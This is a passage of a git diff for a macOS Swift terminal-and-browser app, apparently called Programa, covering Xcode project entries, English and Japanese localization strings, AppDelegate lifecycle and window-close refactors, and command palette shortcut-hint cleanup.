lastKnownFileType = sourcecode.swift; path = CJKIMEInputTests.swift; sourceTree = ""; }; F4000001A1B2C3D4E5F60718 /* GhosttyConfigTests.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = GhosttyConfigTests.swift; sourceTree = ""; }; F5000001A1B2C3D4E5F60718 /* SessionPersistenceTests.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = SessionPersistenceTests.swift; sourceTree = ""; }; + BEEF50100000000000000002 /* ShellFixSweepSHELTests.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = ShellFixSweepSHELTests.swift; sourceTree = ""; }; RRPL0001A1B2C3D4E5F60718 /* RendererRealizationPlannerTests.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = RendererRealizationPlannerTests.swift; sourceTree = ""; }; D3F772E2747D24AE2FAAC541 /* SessionAutosaveCoordinatorTests.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = SessionAutosaveCoordinatorTests.swift; sourceTree = ""; }; SWCT000002A1B2C3D4E5F607 /* SessionWALCoreTests.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = SessionWALCoreTests.swift; sourceTree = ""; }; @@ -1017,6 +1023,7 @@ D1320AA0D1320AA0D1320AA4 /* AppIconDockTilePlugin.swift */, A5001090 /* AppDelegate.swift */, H1AP0001 /* AppLifecycleCoordinator.swift */, + BEAD00000000000000000001 /* MainWindowController.swift */, H1SN0001 /* AppDelegate+SessionSnapshotPersistence.swift */, C5E68FD3C9918B5717603304 /* SessionAutosaveCoordinator.swift */, DDE5A5F043A04829779CF356 /* ShortcutRouting.swift */, @@ -1208,6 +1215,7 @@ B9000022A1B2C3D4E5F60719 /* CloseWorkspaceCmdDUITests.swift */, B9000019A1B2C3D4E5F60719 /* CloseWorkspaceConfirmDialogUITests.swift */, B9000026A1B2C3D4E5F60719 /* CloseWindowConfirmDialogUITests.swift */, + BEEF50100000000000000004 /* WindowCloseConfirmCancelUITests.swift */, B9000016A1B2C3D4E5F60719 /* MultiWindowNotificationsUITests.swift */, 818DBCD4AB69EB72573E8138 /* SidebarResizeUITests.swift */, B8F266256A1A3D9A45BD840F /* SidebarHelpMenuUITests.swift */, @@ -1230,6 +1238,7 @@ F3000001A1B2C3D4E5F60718 /* CJKIMEInputTests.swift */, F4000001A1B2C3D4E5F60718 /* GhosttyConfigTests.swift */, F5000001A1B2C3D4E5F60718 /* SessionPersistenceTests.swift */, + BEEF50100000000000000002 /* ShellFixSweepSHELTests.swift */, RRPL0001A1B2C3D4E5F60718 /* RendererRealizationPlannerTests.swift */, D3F772E2747D24AE2FAAC541 /* SessionAutosaveCoordinatorTests.swift */, SWCT000002A1B2C3D4E5F607 /* SessionWALCoreTests.swift */, @@ -1547,6 +1556,7 @@ A5FF0008 /* HostedViewPortalRegistry.swift in Sources */, A5001007 /* TerminalController.swift in Sources */, H1AP0002 /* AppLifecycleCoordinator.swift in Sources */, + BEAD00000000000000000002 /* MainWindowController.swift in Sources */, H1SN0002 /* AppDelegate+SessionSnapshotPersistence.swift in Sources */, A5FF0014 /* TerminalController+BrowserAutomation.swift in Sources */, H1BR0002 /* BrowserRPCDispatcher.swift in Sources */, @@ -1673,6 +1683,7 @@ B900001AA1B2C3D4E5F60719 /* CloseWorkspaceConfirmDialogUITests.swift in Sources */, B9000023A1B2C3D4E5F60719 /* CloseWorkspaceCmdDUITests.swift in Sources */, B9000025A1B2C3D4E5F60719 /* CloseWindowConfirmDialogUITests.swift in Sources */, + BEEF50100000000000000003 /* WindowCloseConfirmCancelUITests.swift in Sources */, B9000015A1B2C3D4E5F60719 /* MultiWindowNotificationsUITests.swift in Sources */, B8F266236A1A3D9A45BD840F /* SidebarResizeUITests.swift in Sources */, B8F266246A1A3D9A45BD840F /* SidebarHelpMenuUITests.swift in Sources */, @@ -1695,6 +1706,7 @@ F3000000A1B2C3D4E5F60718 /* CJKIMEInputTests.swift in Sources */, F4000000A1B2C3D4E5F60718 /* GhosttyConfigTests.swift in Sources */, F5000000A1B2C3D4E5F60718 /* SessionPersistenceTests.swift in Sources */, + BEEF50100000000000000001 /* ShellFixSweepSHELTests.swift in Sources */, RRPL0002A1B2C3D4E5F60718 /* RendererRealizationPlannerTests.swift in Sources */, 3C03A46E60CFD11D198C9504 /* SessionAutosaveCoordinatorTests.swift in Sources */, SWCT000001A1B2C3D4E5F607 /* SessionWALCoreTests.swift in Sources */, diff --git a/Resources/Localizable.xcstrings b/Resources/Localizable.xcstrings index c05bcb9b5..d45c2121a 100644 --- a/Resources/Localizable.xcstrings +++ b/Resources/Localizable.xcstrings @@ -6835,40 +6835,6 @@ } } }, - "commandPalette.rename.clearCustomName": { - "extractionState": "manual", - "localizations": { - "en": { - "stringUnit": { - "state": "translated", - "value": "(clear custom name)" - } - }, - "ja": { - "stringUnit": { - "state": "translated", - "value": "(カスタム名をクリア)" - } - } - } - }, - "commandPalette.rename.tabConfirmHint": { - "extractionState": "manual", - "localizations": { - "en": { - "stringUnit": { - "state": "translated", - "value": "Press Enter to apply this tab name, or Escape to cancel." - } - }, - "ja": { - "stringUnit": { - "state": "translated", - "value": "Enterキーでこのタブ名を適用、Escapeでキャンセルします。" - } - } - } - }, "commandPalette.rename.tabDescription": { "extractionState": "manual", "localizations": { @@ -6937,23 +6903,6 @@ } } }, - "commandPalette.rename.workspaceConfirmHint": { - "extractionState": "manual", - "localizations": { - "en": { - "stringUnit": { - "state": "translated", - "value": "Press Enter to apply this workspace name, or Escape to cancel." - } - }, - "ja": { - "stringUnit": { - "state": "translated", - "value": "Enterキーでこのワークスペース名を適用、Escapeでキャンセルします。" - } - } - } - }, "commandPalette.rename.workspaceDescription": { "extractionState": "manual", "localizations": { @@ -19125,6 +19074,210 @@ } } } + }, + "shell.closeOtherTabs.message.one": { + "extractionState": "manual", + "localizations": { + "en": { + "stringUnit": { + "state": "translated", + "value": "This is about to close 1 tab in this pane:\n%@" + } + }, + "ja": { + "stringUnit": { + "state": "translated", + "value": "このペインのタブを1個閉じます:\n%@" + } + } + } + }, + "shell.closeOtherTabs.message.other": { + "extractionState": "manual", + "localizations": { + "en": { + "stringUnit": { + "state": "translated", + "value": "This is about to close %1$lld tabs in this pane:\n%2$@" + } + }, + "ja": { + "stringUnit": { + "state": "translated", + "value": "このペインのタブを%1$lld個閉じます:\n%2$@" + } + } + } + }, + "shell.closeOtherTabs.untitledTab": { + "extractionState": "manual", + "localizations": { + "en": { + "stringUnit": { + "state": "translated", + "value": "Untitled Tab" + } + }, + "ja": { + "stringUnit": { + "state": "translated", + "value": "無題のタブ" + } + } + } + }, + "shell.closeWindow.singleWorkspace.message": { + "extractionState": "manual", + "localizations": { + "en": { + "stringUnit": { + "state": "translated", + "value": "This will close the current window and all of its panels." + } + }, + "ja": { + "stringUnit": { + "state": "translated", + "value": "現在のウィンドウとそのすべてのパネルを閉じます。" + } + } + } + }, + "shell.download.confirm.download": { + "extractionState": "manual", + "localizations": { + "en": { + "stringUnit": { + "state": "translated", + "value": "Download" + } + }, + "ja": { + "stringUnit": { + "state": "translated", + "value": "ダウンロード" + } + } + } + }, + "shell.download.confirm.message": { + "extractionState": "manual", + "localizations": { + "en": { + "stringUnit": { + "state": "translated", + "value": "%@ started this download without a click. It will be saved to your Downloads folder." + } + }, + "ja": { + "stringUnit": { + "state": "translated", + "value": "%@ がクリックなしでこのダウンロードを開始しました。ダウンロードフォルダに保存されます。" + } + } + } + }, + "shell.download.confirm.title": { + "extractionState": "manual", + "localizations": { + "en": { + "stringUnit": { + "state": "translated", + "value": "Download “%@”?" + } + }, + "ja": { + "stringUnit": { + "state": "translated", + "value": "“%@”をダウンロードしますか?" + } + } + } + }, + "shell.download.confirm.unknownSource": { + "extractionState": "manual", + "localizations": { + "en": { + "stringUnit": { + "state": "translated", + "value": "A web page" + } + }, + "ja": { + "stringUnit": { + "state": "translated", + "value": "Webページ" + } + } + } + }, + "shell.externalOpen.requestedBy": { + "extractionState": "manual", + "localizations": { + "en": { + "stringUnit": { + "state": "translated", + "value": "Requested by %@" + } + }, + "ja": { + "stringUnit": { + "state": "translated", + "value": "要求元: %@" + } + } + } + }, + "shell.notification.action.show": { + "extractionState": "manual", + "localizations": { + "en": { + "stringUnit": { + "state": "translated", + "value": "Show" + } + }, + "ja": { + "stringUnit": { + "state": "translated", + "value": "表示" + } + } + } + }, + "shell.omnibar.searchFor": { + "extractionState": "manual", + "localizations": { + "en": { + "stringUnit": { + "state": "translated", + "value": "Search %1$@ for \"%2$@\"" + } + }, + "ja": { + "stringUnit": { + "state": "translated", + "value": "%1$@で“%2$@”を検索" + } + } + } + }, + "shell.omnibar.suggestion.selected": { + "extractionState": "manual", + "localizations": { + "en": { + "stringUnit": { + "state": "translated", + "value": "selected %@" + } + }, + "ja": { + "stringUnit": { + "state": "translated", + "value": "選択中 %@" + } + } + } } }, "version": "1.0" diff --git a/Sources/AppDelegate.swift b/Sources/AppDelegate.swift index 436bf68e4..eba96c584 100644 --- a/Sources/AppDelegate.swift +++ b/Sources/AppDelegate.swift @@ -809,13 +809,7 @@ final class AppDelegate: NSObject, NSApplicationDelegate, @preconcurrency UNUser var core: ProgramaCoreProviding = InProcessCore.shared - private static let cachedIsRunningUnderXCTest = detectRunningUnderXCTest(ProcessInfo.processInfo.environment) - - private var isRunningUnderXCTestCached: Bool { - Self.cachedIsRunningUnderXCTest - } - - private static func detectRunningUnderXCTest(_ env: [String: String]) -> Bool { + static func detectRunningUnderXCTest(_ env: [String: String]) -> Bool { if SessionMachineryGate.isUnitTesting { return true } #if DEBUG if env.keys.contains(where: { $0.hasPrefix("PROGRAMA_UI_TEST_") }) { return true } @@ -867,14 +861,6 @@ final class AppDelegate: NSObject, NSApplicationDelegate, @preconcurrency UNUser } } - private final class MainWindowController: NSWindowController, NSWindowDelegate { - var onClose: (() -> Void)? - - func windowWillClose(_ notification: Notification) { - onClose?() - } - } - struct ScriptableMainWindowState { let windowId: UUID let tabManager: TabManager @@ -972,6 +958,7 @@ final class AppDelegate: NSObject, NSApplicationDelegate, @preconcurrency UNUser } method_exchangeImplementations(originalMethod, swizzledMethod) }() +#if DEBUG private static let didInstallApplicationSendEventSwizzle: Void = { let targetClass: AnyClass = NSApplication.self let originalSelector = #selector(NSApplication.sendEvent(_:)) @@ -982,6 +969,7 @@ final class AppDelegate: NSObject, NSApplicationDelegate, @preconcurrency UNUser } method_exchangeImplementations(originalMethod, swizzledMethod) }() +#endif #if DEBUG var didSetupJumpUnreadUITest = false @@ -1196,12 +1184,6 @@ final class AppDelegate: NSObject, NSApplicationDelegate, @preconcurrency UNUser } } - func applicationWillFinishLaunching(_ notification: Notification) { - if !isRunningUnderXCTest(ProcessInfo.processInfo.environment) { - deferToExistingInstanceIfNeeded() - } - } - func applicationDidFinishLaunching(_ notification: Notification) { let env = ProcessInfo.processInfo.environment let isRunningUnderXCTest = isRunningUnderXCTest(env) @@ -1542,7 +1524,6 @@ final class AppDelegate: NSObject, NSApplicationDelegate, @preconcurrency UNUser isTaggedDevBuild: SocketControlSettings.isTaggedDevBuild(), isQuitWarningEnabled: QuitWarningSettings.isEnabled() ) - SessionMachineryGate.isApplicationTerminating = true // A warning dialog can still cancel this termination request. The final // `applicationWillTerminate` callback is the only point that records a clean exit. let saved = saveSessionSnapshot(includeScrollback: true, removeWhenEmpty: false) @@ -1570,6 +1551,7 @@ final class AppDelegate: NSObject, NSApplicationDelegate, @preconcurrency UNUser guard lifecycleDecision.shouldWarn else { dilog("app.quit", "pid=\(getpid()) outcome=terminate_now reason=\(lifecycleDecision.logReason)") + finalizeStagedTerminalClosesThenMarkTerminating() return .terminateNow } dilog("app.quit", "pid=\(getpid()) outcome=warning reason=ordinary_quit") @@ -1594,6 +1576,7 @@ final class AppDelegate: NSObject, NSApplicationDelegate, @preconcurrency UNUser let shouldQuit = response == .alertFirstButtonReturn if shouldQuit { self.appLifecycleCoordinator.confirmQuit() + self.finalizeStagedTerminalClosesThenMarkTerminating() } else { // Reset so that the next quit attempt can show the dialog again. self.appLifecycleCoordinator.cancelTermination() @@ -1609,13 +1592,8 @@ final class AppDelegate: NSObject, NSApplicationDelegate, @preconcurrency UNUser func applicationWillTerminate(_ notification: Notification) { appLifecycleCoordinator.willTerminate() - SessionMachineryGate.isApplicationTerminating = true + finalizeStagedTerminalClosesThenMarkTerminating() saveSessionSnapshot(includeScrollback: true, removeWhenEmpty: false, cleanShutdown: true) - // Finalize any terminal closes still sitting in their undo grace period so a staged close - // doesn't quietly leak instead of tearing down cleanly on quit. - for context in mainWindowContexts.values { - context.tabManager.closedTerminalUndoStore.expireAll() - } sessionAutosave.stopSessionAutosaveTimer() TerminalController.shared.stop() BrowserProfileStore.shared.flushPendingSaves() @@ -1623,6 +1601,16 @@ final class AppDelegate: NSObject, NSApplicationDelegate, @preconcurrency UNUser enableSuddenTerminationIfNeeded() } + /// Staged (undo-able) terminal closes finalize with the terminating flag clear so their + /// escrowed sessions are released, not kept for the next launch's recovery. + private func finalizeStagedTerminalClosesThenMarkTerminating() { + SessionMachineryGate.isApplicationTerminating = false + for context in mainWindowContexts.values { + context.tabManager.closedTerminalUndoStore.expireAll() + } + SessionMachineryGate.isApplicationTerminating = true + } + func applicationWillResignActive(_ notification: Notification) { #if DEBUG dlog("app.activation active=0 frontmost=\(NSWorkspace.shared.frontmostApplication?.bundleIdentifier ?? "nil")") @@ -2596,7 +2584,9 @@ final class AppDelegate: NSObject, NSApplicationDelegate, @preconcurrency UNUser return } DispatchQueue.global(qos: .utility).async { [weak self] in + // Two tries: a listener still waking up can miss the first 0.5 s window. let reachable = SocketConnectProbe.canConnect(at: expectedPath, timeout: 0.5) + || SocketConnectProbe.canConnect(at: expectedPath, timeout: 0.5) guard !reachable else { return } DispatchQueue.main.async { MainActor.assumeIsolated { @@ -2608,7 +2598,8 @@ final class AppDelegate: NSObject, NSApplicationDelegate, @preconcurrency UNUser } func restartSocketListenerIfEnabled(source: String) { - guard let tabManager, + // The active window's manager can be nil (no key main window at wake); any live one serves. + guard let tabManager = tabManager ?? TerminalController.shared.tabManager ?? mainWindowContexts.values.first?.tabManager, let config = socketListenerConfigurationIfEnabled() else { return } let restartPath = TerminalController.shared.activeSocketPath(preferredPath: config.path) TerminalController.shared.stop() @@ -2720,6 +2711,7 @@ final class AppDelegate: NSObject, NSApplicationDelegate, @preconcurrency UNUser discardOrphanedMainWindowContexts() tabManager.window = window + window.programaInstallMainWindowCloseConfirmation() let key = ObjectIdentifier(window) #if DEBUG @@ -3726,21 +3718,6 @@ final class AppDelegate: NSObject, NSApplicationDelegate, @preconcurrency UNUser return nil } - func locateGhosttySurface(_ surface: ghostty_surface_t?) -> (windowId: UUID, workspaceId: UUID, panelId: UUID, tabManager: TabManager)? { - guard let surface else { return nil } - for ctx in mainWindowContexts.values { - for ws in ctx.tabManager.tabs { - for (panelId, panel) in ws.panels { - guard let terminal = panel as? TerminalPanel else { continue } - if terminal.surface.surface == surface { - return (ctx.windowId, ws.id, panelId, ctx.tabManager) - } - } - } - } - return nil - } - func refreshTerminalSurfacesAfterGhosttyConfigReload(source: String) { var refreshedCount = 0 forEachTerminalPanel { terminalPanel in @@ -4057,21 +4034,8 @@ final class AppDelegate: NSObject, NSApplicationDelegate, @preconcurrency UNUser return UUID(uuidString: idPart) } - private func commandPaletteOverlayContainer(in window: NSWindow) -> NSView? { - guard let searchRoot = window.contentView?.superview ?? window.contentView else { return nil } - var stack: [NSView] = [searchRoot] - while let candidate = stack.popLast() { - if candidate.identifier == commandPaletteOverlayContainerIdentifier { - return candidate - } - stack.append(contentsOf: candidate.subviews) - } - return nil - } - private func isCommandPaletteOverlayPresented(in window: NSWindow) -> Bool { - guard let container = commandPaletteOverlayContainer(in: window) else { return false } - return !container.isHidden && container.alphaValue > 0.001 + commandPaletteOverlayIsPresented(in: window) } private func isCommandPaletteResponderActive(in window: NSWindow) -> Bool { @@ -4340,21 +4304,6 @@ final class AppDelegate: NSObject, NSApplicationDelegate, @preconcurrency UNUser return mainWindowContexts.values.first } - private func activateMainWindowContextForShortcutEvent(_ event: NSEvent) { - let preferredWindow = mainWindowForShortcutEvent(event) -#if DEBUG - dlog( - "shortcut.activate.pre event=\(NSWindow.keyDescription(event)) preferred={\(debugWindowToken(preferredWindow))} \(debugShortcutRouteSnapshot(event: event))" - ) -#endif - _ = synchronizeActiveMainWindowContext(preferredWindow: preferredWindow) -#if DEBUG - dlog( - "shortcut.activate.post event=\(NSWindow.keyDescription(event)) preferred={\(debugWindowToken(preferredWindow))} \(debugShortcutRouteSnapshot(event: event))" - ) -#endif - } - @discardableResult func toggleSidebarInActiveMainWindow() -> Bool { if let activeManager = tabManager, @@ -5739,7 +5688,9 @@ final class AppDelegate: NSObject, NSApplicationDelegate, @preconcurrency UNUser #endif private func installWindowResponderSwizzles() { +#if DEBUG _ = Self.didInstallApplicationSendEventSwizzle +#endif _ = Self.didInstallWindowKeyEquivalentSwizzle _ = Self.didInstallWindowFirstResponderSwizzle _ = Self.didInstallWindowSendEventSwizzle @@ -7101,7 +7052,8 @@ final class AppDelegate: NSObject, NSApplicationDelegate, @preconcurrency UNUser NSSound.beep() return true } - targetWindow.close() + // Same gate as the red button, called directly so it also holds in native full screen. + targetWindow.programa_mainWindowCloseButtonPressed(nil) return true } @@ -8327,11 +8279,6 @@ final class AppDelegate: NSObject, NSApplicationDelegate, @preconcurrency UNUser return numberKeyDigit } - private func numberedShortcutDigit(event: NSEvent, shortcut: StoredShortcut) -> Int? { - guard !shortcut.hasChord else { return nil } - return numberedShortcutDigit(event: event, stroke: shortcut.firstStroke) - } - private func numberedShortcutDigit( eventCharacter: String?, applyShiftSymbolNormalization: Bool, @@ -8467,7 +8414,7 @@ final class AppDelegate: NSObject, NSApplicationDelegate, @preconcurrency UNUser let actions = [ UNNotificationAction( identifier: TerminalNotificationStore.actionShowIdentifier, - title: "Show" + title: String(localized: "shell.notification.action.show", defaultValue: "Show") ) ] @@ -8574,10 +8521,11 @@ final class AppDelegate: NSObject, NSApplicationDelegate, @preconcurrency UNUser .processIdentifier } - /// Runs from `applicationWillFinishLaunching`, before the socket listener, session restore, - /// or any window exists, so a losing launch has no side effects. Waits briefly for an - /// exiting instance (quit-then-relaunch, Sparkle relaunch) before deferring to it. - private func deferToExistingInstanceIfNeeded() { + /// Runs at the top of `ProgramaApp.init`, before defaults migrations, Ghostty configuration, + /// the socket listener, session restore or any window, so a losing launch changes nothing. + /// Waits briefly for an exiting instance (quit-then-relaunch, Sparkle relaunch) before + /// deferring to it. + static func deferToExistingInstanceIfNeeded() { guard let bundleIdentifier = Bundle.main.bundleIdentifier else { return } let ownPid = getpid() let ownLaunchDate = NSRunningApplication.current.launchDate @@ -8605,7 +8553,7 @@ final class AppDelegate: NSObject, NSApplicationDelegate, @preconcurrency UNUser dilog("single_instance", "pid=\(ownPid) outcome=exit reason=existing_instance existing=\(existing.processIdentifier)") // This launch holds activation; hand it over so focus does not fall back to the // previous app when we exit. - NSApp.yieldActivation(to: existing) + NSApplication.shared.yieldActivation(to: existing) existing.activate(from: .current) // Opening the app sends a reopen event, so the existing instance shows a window even // when it hid them all instead of quitting. diff --git a/Sources/BrowserWindowHostView.swift b/Sources/BrowserWindowHostView.swift index 0a24334b6..757440346 100644 --- a/Sources/BrowserWindowHostView.swift +++ b/Sources/BrowserWindowHostView.swift @@ -773,13 +773,6 @@ final class WindowBrowserHostView: NSView { return window?.contentView } - private func shouldPassThroughToSplitDivider(at point: NSPoint) -> Bool { - guard let dividerHit = splitDividerHit(at: point) else { return false } - // Portal host should pass split-divider events through to app layout splits, - // but keep WebKit inspector/internal split dividers interactive. - return !dividerHit.isInHostedContent - } - static func shouldPassThroughToDragTargets( pasteboardTypes: [NSPasteboard.PasteboardType]?, eventType: NSEvent.EventType? @@ -812,6 +805,7 @@ final class WindowBrowserHostView: NSView { for slot in visibleSlots { let pointInSlot = slot.convert(point, from: self) guard slot.bounds.contains(pointInSlot), + InspectorDock.mayHostAttachedInspector(slot), let hit = hostedInspectorDividerCandidate(in: slot) else { continue } diff --git a/Sources/ContentView+CommandPalette.swift b/Sources/ContentView+CommandPalette.swift index df30e854c..2ae53ab55 100644 --- a/Sources/ContentView+CommandPalette.swift +++ b/Sources/ContentView+CommandPalette.swift @@ -590,9 +590,6 @@ extension ContentView { if let action = commandPaletteShortcutAction(for: contribution.commandId) { return KeyboardShortcutSettings.shortcut(for: action).displayString } - if let staticShortcut = commandPaletteStaticShortcutHint(for: contribution.commandId) { - return staticShortcut - } return contribution.shortcutHint } func commandPaletteShortcutAction(for commandId: String) -> KeyboardShortcutSettings.Action? { @@ -655,46 +652,40 @@ extension ContentView { return .toggleSplitZoom case "palette.triggerFlash": return .triggerFlash - default: - return nil - } - } - func commandPaletteStaticShortcutHint(for commandId: String) -> String? { - switch commandId { case "palette.closeTab": - return "⌘W" + return .closeTab case "palette.closeWorkspace": - return "⌘⇧W" + return .closeWorkspace case "palette.reopenClosedBrowserTab": - return "⌘⇧T" + return .reopenClosedBrowserPanel case "palette.openSettings": - return "⌘," + return .openSettings case "palette.browserBack": - return "⌘[" + return .browserBack case "palette.browserForward": - return "⌘]" + return .browserForward case "palette.browserReload": - return "⌘R" + return .browserReload case "palette.browserFocusAddressBar": - return "⌘L" + return .focusBrowserAddressBar case "palette.browserZoomIn": - return "⌘=" + return .browserZoomIn case "palette.browserZoomOut": - return "⌘-" + return .browserZoomOut case "palette.browserZoomReset": - return "⌘0" - case "palette.terminalFind": - return "⌘F" - case "palette.terminalFindNext": - return "⌘G" - case "palette.terminalFindPrevious": - return "⌥⌘G" - case "palette.terminalHideFind": - return "⌘⇧F" + return .browserZoomReset case "palette.terminalUseSelectionForFind": - return "⌘E" + return .useSelectionForFind case "palette.toggleFullScreen": - return "\u{2303}\u{2318}F" + return .toggleFullScreen + case "palette.newClaudeWorkspace": + return .newClaudeWorkspace + case "palette.reloadConfiguration": + return .reloadConfiguration + case "palette.sendFeedback": + return .sendFeedback + case "palette.openReviewPanel": + return .openReview default: return nil } diff --git a/Sources/ContentView.swift b/Sources/ContentView.swift index 8ea8f8d0a..b60fe539c 100644 --- a/Sources/ContentView.swift +++ b/Sources/ContentView.swift @@ -52,7 +52,6 @@ struct ContentView: View { enum CommandPaletteMode { case commands case renameInput(CommandPaletteRenameTarget) - case renameConfirm(CommandPaletteRenameTarget, proposedName: String) case workspaceDescriptionInput(CommandPaletteWorkspaceDescriptionTarget) } @@ -1780,8 +1779,6 @@ struct ContentView: View { commandPaletteCommandListView case .renameInput(let target): commandPaletteRenameInputView(target: target) - case let .renameConfirm(target, proposedName): - commandPaletteRenameConfirmView(target: target, proposedName: proposedName) case .workspaceDescriptionInput(let target): commandPaletteWorkspaceDescriptionInputView( target: target, @@ -2078,44 +2075,6 @@ struct ContentView: View { } } - private func commandPaletteRenameConfirmView( - target: CommandPaletteRenameTarget, - proposedName: String - ) -> some View { - let trimmedName = proposedName.trimmingCharacters(in: .whitespacesAndNewlines) - let nextName = trimmedName.isEmpty ? String(localized: "commandPalette.rename.clearCustomName", defaultValue: "(clear custom name)") : trimmedName - - return VStack(spacing: 0) { - Text(nextName) - .font(.system(size: 13, weight: .regular)) - .lineLimit(1) - .frame(maxWidth: .infinity, alignment: .leading) - .padding(.horizontal, 9) - .padding(.vertical, 7) - - Divider() - - Text(renameConfirmHintText(target: target)) - .font(.system(size: 11)) - .foregroundStyle(.secondary) - .lineLimit(1) - .frame(maxWidth: .infinity, alignment: .leading) - .padding(.horizontal, 9) - .padding(.vertical, 6) - - Button(action: { - applyRenameFlow(target: target, proposedName: proposedName) - }) { - EmptyView() - } - .buttonStyle(.plain) - .keyboardShortcut(.defaultAction) - .frame(width: 0, height: 0) - .opacity(0) - .accessibilityHidden(true) - } - } - private func commandPaletteWorkspaceDescriptionInputView( target: CommandPaletteWorkspaceDescriptionTarget, maxEditorHeight: CGFloat @@ -2984,15 +2943,6 @@ struct ContentView: View { } } - private func renameConfirmHintText(target: CommandPaletteRenameTarget) -> String { - switch target.kind { - case .workspace: - return String(localized: "commandPalette.rename.workspaceConfirmHint", defaultValue: "Press Enter to apply this workspace name, or Escape to cancel.") - case .tab: - return String(localized: "commandPalette.rename.tabConfirmHint", defaultValue: "Press Enter to apply this tab name, or Escape to cancel.") - } - } - private var commandPaletteListScope: CommandPaletteListScope { Self.commandPaletteListScope(for: commandPaletteController.commandPaletteQuery) } @@ -3519,7 +3469,6 @@ struct ContentView: View { commandId: "palette.newTerminalTab", title: constant(String(localized: "command.newTerminalTab.title", defaultValue: "New Tab (Terminal)")), subtitle: constant(String(localized: "command.newTerminalTab.subtitle", defaultValue: "Tab")), - shortcutHint: "⌘T", keywords: ["new", "terminal", "tab"] ) ) @@ -3528,7 +3477,6 @@ struct ContentView: View { commandId: "palette.newBrowserTab", title: constant(String(localized: "command.newBrowserTab.title", defaultValue: "New Tab (Browser)")), subtitle: constant(String(localized: "command.newBrowserTab.subtitle", defaultValue: "Tab")), - shortcutHint: "⌘⇧L", keywords: ["new", "browser", "tab", "web"] ) ) @@ -3537,7 +3485,6 @@ struct ContentView: View { commandId: "palette.closeTab", title: constant(String(localized: "command.closeTab.title", defaultValue: "Close Tab")), subtitle: constant(String(localized: "command.closeTab.subtitle", defaultValue: "Tab")), - shortcutHint: "⌘W", keywords: ["close", "tab"] ) ) @@ -3546,7 +3493,6 @@ struct ContentView: View { commandId: "palette.closeWorkspace", title: constant(String(localized: "command.closeWorkspace.title", defaultValue: "Close Workspace")), subtitle: constant(String(localized: "command.closeWorkspace.subtitle", defaultValue: "Workspace")), - shortcutHint: "⌘⇧W", keywords: ["close", "workspace"] ) ) @@ -3571,7 +3517,6 @@ struct ContentView: View { commandId: "palette.reopenClosedBrowserTab", title: constant(String(localized: "command.reopenClosedBrowserTab.title", defaultValue: "Reopen Closed Browser Tab")), subtitle: constant(String(localized: "command.reopenClosedBrowserTab.subtitle", defaultValue: "Browser")), - shortcutHint: "⌘⇧T", keywords: ["reopen", "closed", "browser"] ) ) @@ -3630,7 +3575,6 @@ struct ContentView: View { commandId: "palette.openSettings", title: constant(String(localized: "command.openSettings.title", defaultValue: "Open Settings")), subtitle: constant(String(localized: "command.openSettings.subtitle", defaultValue: "Global")), - shortcutHint: "⌘,", keywords: ["settings", "preferences"] ) ) @@ -3902,7 +3846,6 @@ struct ContentView: View { commandId: "palette.browserBack", title: constant(String(localized: "command.browserBack.title", defaultValue: "Back")), subtitle: browserPanelSubtitle, - shortcutHint: "⌘[", keywords: ["browser", "back", "history"], when: { $0.bool(CommandPaletteContextKeys.panelIsBrowser) } ) @@ -3912,7 +3855,6 @@ struct ContentView: View { commandId: "palette.browserForward", title: constant(String(localized: "command.browserForward.title", defaultValue: "Forward")), subtitle: browserPanelSubtitle, - shortcutHint: "⌘]", keywords: ["browser", "forward", "history"], when: { $0.bool(CommandPaletteContextKeys.panelIsBrowser) } ) @@ -3922,7 +3864,6 @@ struct ContentView: View { commandId: "palette.browserReload", title: constant(String(localized: "command.browserReload.title", defaultValue: "Reload Page")), subtitle: browserPanelSubtitle, - shortcutHint: "⌘R", keywords: ["browser", "reload", "refresh"], when: { $0.bool(CommandPaletteContextKeys.panelIsBrowser) } ) @@ -3941,7 +3882,6 @@ struct ContentView: View { commandId: "palette.browserFocusAddressBar", title: constant(String(localized: "command.browserFocusAddressBar.title", defaultValue: "Focus Address Bar")), subtitle: browserPanelSubtitle, - shortcutHint: "⌘L", keywords: ["browser", "address", "omnibar", "url"], when: { $0.bool(CommandPaletteContextKeys.panelIsBrowser) } ) @@ -4055,7 +3995,6 @@ struct ContentView: View { commandId: "palette.terminalFind", title: constant(String(localized: "command.terminalFind.title", defaultValue: "Find…")), subtitle: terminalPanelSubtitle, - shortcutHint: "⌘F", keywords: ["terminal", "find", "search"], when: { $0.bool(CommandPaletteContextKeys.panelIsTerminal) } ) @@ -4065,7 +4004,6 @@ struct ContentView: View { commandId: "palette.terminalFindNext", title: constant(String(localized: "command.terminalFindNext.title", defaultValue: "Find Next")), subtitle: terminalPanelSubtitle, - shortcutHint: "⌘G", keywords: ["terminal", "find", "next", "search"], when: { $0.bool(CommandPaletteContextKeys.panelIsTerminal) } ) @@ -4075,7 +4013,6 @@ struct ContentView: View { commandId: "palette.terminalFindPrevious", title: constant(String(localized: "command.terminalFindPrevious.title", defaultValue: "Find Previous")), subtitle: terminalPanelSubtitle, - shortcutHint: "⌥⌘G", keywords: ["terminal", "find", "previous", "search"], when: { $0.bool(CommandPaletteContextKeys.panelIsTerminal) } ) @@ -4085,7 +4022,6 @@ struct ContentView: View { commandId: "palette.terminalHideFind", title: constant(String(localized: "command.terminalHideFind.title", defaultValue: "Hide Find Bar")), subtitle: terminalPanelSubtitle, - shortcutHint: "⌘⇧F", keywords: ["terminal", "hide", "find", "search"], when: { $0.bool(CommandPaletteContextKeys.panelIsTerminal) } ) @@ -4794,8 +4730,6 @@ struct ContentView: View { runSelectedCommandPaletteResult() case .renameInput(let target): continueRenameFlow(target: target) - case .renameConfirm(let target, let proposedName): - applyRenameFlow(target: target, proposedName: proposedName) case .workspaceDescriptionInput(let target): #if DEBUG let newlineCount = commandPaletteController.commandPaletteWorkspaceDescriptionDraft.reduce(into: 0) { count, character in @@ -4916,8 +4850,6 @@ struct ContentView: View { mode = commandPaletteListScope.rawValue case .renameInput: mode = "rename_input" - case .renameConfirm: - mode = "rename_confirm" case .workspaceDescriptionInput: mode = "workspace_description_input" } @@ -5208,8 +5140,6 @@ struct ContentView: View { return "commands" case .renameInput: return "renameInput" - case .renameConfirm: - return "renameConfirm" case .workspaceDescriptionInput: return 